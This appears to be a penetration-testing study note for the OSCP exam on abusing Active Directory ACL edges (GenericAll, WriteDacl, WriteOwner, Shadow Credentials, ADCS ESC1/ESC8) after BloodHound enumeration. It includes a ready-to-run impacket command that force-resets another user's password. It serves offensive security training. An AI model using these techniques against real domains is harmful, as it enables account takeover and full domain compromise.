ACL & Edge Abuse
Covers step 5 of OSCP AD Set - Assumed Breach Methodology. Once BloodHound Collection or Manual LDAP Enumeration shows a path, match the edge to the abuse technique below. See BloodHound Edge Risk for the severity table.
Common OSCP-Relevant Abuses
GenericAll/GenericWriteon user ->net rpc password/Set-DomainUserPassword/ targetedForceChangePasswordGenericAll/WriteDaclon group -> add self as memberWriteOwner-> take ownership -> grant selfGenericAll-> abuse as aboveAddSelf-> add self to a privileged group directly- Shadow Credentials (
AddKeyCredentialLink) ->pywhiskerto add a cert, auth via PKINIT withcertipyorgettgtpkinit.py - ADCS ESC1/ESC8 if a CA is present ->
certipy findthencertipy req
Forced Password Reset (ForceChangePassword)
Target is the account being changed. Optional: privileged account performing the change goes in -altuser/-altpass (or -althash):
impacket-changepasswd '<domain>/<target-user>@<DC-IP>' -newpass 'NewPass123!' -altuser '<priv-user>' -altpass '<priv-pass>' -dc-ip <DC-IP> -reset -protocol smb-samr
Next
A new privileged account opens up Lateral Movement, or straight to DCSync & DC Takeover if it's DA-equivalent.